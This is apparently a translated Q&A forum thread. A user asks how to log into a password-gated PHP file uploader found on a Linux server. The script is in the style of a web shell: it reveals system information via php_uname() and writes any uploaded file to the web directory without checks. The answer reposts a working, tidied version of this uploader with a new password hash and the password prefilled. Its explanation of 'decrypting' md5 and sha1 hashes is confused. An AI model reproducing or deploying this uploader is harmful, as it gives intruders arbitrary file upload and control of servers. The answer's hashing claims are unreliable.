我在Linux服务器上有一个PHP脚本,我可以在浏览器上显示它,这个脚本告诉我必须输入密码才能登录(上传脚本)。 这是PHP代码:
<?php
session_start();
if($_SESSION["adm"]){
echo '<b>Namesis<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Upload Success !!!</b><br><br>';
} else {
echo '<b>Upload Fail !!!</b><br><br>';
}
}
}
if($_POST["p"]) {
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="0cc175b9c0f1b6a831c399e269772661") {
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
我看到密码是md5;当我解密这个0cc175b9c0f1b6a831c399e269772661
时,我发现结果是&#34;`a`&#34;
但当我进入&#34;`a`&#34;密码脚本没有成功登录。
我尝试过upload.php?p=a
和upload.pph?p=0cc175b9c0f1b6a831c399e269772661
而没有任何改变。
请问如何登录此脚本。我很担心。
答案 0 :(得分:0)
试试这个:
在这里,您不仅可以使用 md5(),还可以使用 sha1(),因此解密'a'将为77de54ccf56eb6f7dbf99e4d3be949ab
。谢谢
<?php
session_start();
if(isset($_SESSION["adm"]) && $_SESSION["adm"]==1){
echo '<b>Namesis :'.php_uname().'<br></b><br>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if(isset($_POST['_upl']) && $_POST['_upl']== "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Upload Success !!!</b><br><br>';
}else {
echo '<b>Upload Fail !!!</b><br><br>';
}
}
}
if(isset($_POST["p"])){
$p = $_POST["p"];
$pa = md5(sha1($p));
if($pa=="77de54ccf56eb6f7dbf99e4d3be949ab"){
$_SESSION["adm"] = 1;
}
}
?>
<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post">
<input type="text" name="p" value="a">
<input type="submit" value="submit">
</form>